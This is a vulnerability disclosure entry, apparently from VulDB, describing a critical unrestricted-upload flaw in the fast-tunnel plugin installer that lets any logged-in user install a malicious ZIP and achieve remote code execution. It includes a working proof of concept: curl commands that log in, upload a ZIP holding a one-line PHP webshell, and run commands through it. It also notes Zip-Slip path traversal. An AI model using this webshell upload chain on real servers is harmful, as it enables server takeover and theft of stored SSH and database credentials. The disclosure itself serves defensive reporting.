| शीर्षक | arizu-id fast-tunnel v1.0.0 Unrestricted Upload of File with Dangerous Type — CWE-434 |
|---|
| विवरण | Title: arizu-id fast-tunnel Plugin Installer — Remote Code Execution via Malicious ZIP Archive
CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Description:
Location:
backend/api_plugins.php:57-58 (extension check — only .zip enforced)
backend/api_plugins.php:73 (ZipArchive::extractTo — no entry-name filtering)
backend/api_plugins.php:102-108 (rename to plugins/$slug/ — PHP files persist)
api.php:22-23 (Auth::requireApiAuth — login required, any authenticated user)
.htaccess (plugins/ directory absent from access-deny rules)
What the bug is:
fast-tunnel's plugin installation endpoint (POST /api?action=install_plugin) accepts a ZIP archive, validates only that the uploaded filename ends in .zip (L57-58), then passes the raw upload to ZipArchive::extractTo($tempPath) (L73) without inspecting the file types or names of individual entries inside the archive. After locating info.json, the entire directory containing it is renamed into plugins/$slug/ (L102-108). The root .htaccess blocks direct access to backend/, config.php, vendor/, temp_ssh/, and scratch/, but plugins/ is not listed — meaning any .php file inside the extracted plugin directory is directly web-accessible. Any authenticated user (not just admins) can reach the endpoint because install_plugin is not in the $publicActions list but only requires the standard Auth::requireApiAuth() check (L22-23). No MIME verification, no extension allow-list for archive entries, no .htaccess injection into the extracted directory, and no Zip-Slip path validation is performed.
CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.9 Critical.
How to exploit:
Step 1 — Authenticate to obtain a session cookie and CSRF token
curl -s -c cookies.txt -b cookies.txt -X POST 'https://ft.example.com/api?action=auth_login' -H 'Content-Type: application/json' -d '{"host":"x","user":"attacker","password":"pass"}'
Step 2 — Upload a crafted ZIP containing info.json and shell.php
echo '{"slug":"pwn"}' > info.json && echo '<?php system($_GET["c"]);?>' > shell.php && zip plugin.zip info.json shell.php && curl -s -b cookies.txt -X POST 'https://ft.example.com/api?action=install_plugin' -F '[email protected]'
Step 3 — Observe the response and trigger execution
The API returns {"success":true,"slug":"pwn"}. Then curl -s 'https://ft.example.com/plugins/pwn/shell.php?c=id' returns uid=33(www-data) gid=33(www-data) confirming remote code execution.
The PoC documents the exploitability, not the exploitation.
Impact:
Any authenticated fast-tunnel user can upload a webshell and execute arbitrary PHP code as the web server user, gaining full control of the application and all stored FTP/MySQL/SSH credentials (which are encrypted with a key derived from the app configuration).
The ZipArchive::extractTo call does not validate entry names for ../ sequences, so a malicious archive can also write files outside the plugins/ directory (Zip-Slip), potentially overwriting configuration files or the application entry point.
Because fast-tunnel stores SSH and database session credentials in temp_ssh/ and passes them to background processes, RCE allows the attacker to hijack active SSH and MySQL sessions to connected remote servers.
The attack requires no elevated privileges — any low-privilege user who can log in can immediately pivot to full server compromise. |
|---|
| स्रोत | ⚠️ https://github.com/arizu-id/fast-tunnel |
|---|
| उपयोगकर्ता | c0rrup1_1 (UID 101347) |
|---|
| सबमिशन | 18/09/2026 01:51 PM (1 महीना पहले) |
|---|
| संयम | 20/10/2026 06:29 AM (1 month later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 422655 [arizu-id fast-tunnel 1.0.0 Plugin Installer backend/api_plugins.php ZipArchive::extractTo plugin_file अधिकार वृद्धि] |
|---|
| अंक | 20 |
|---|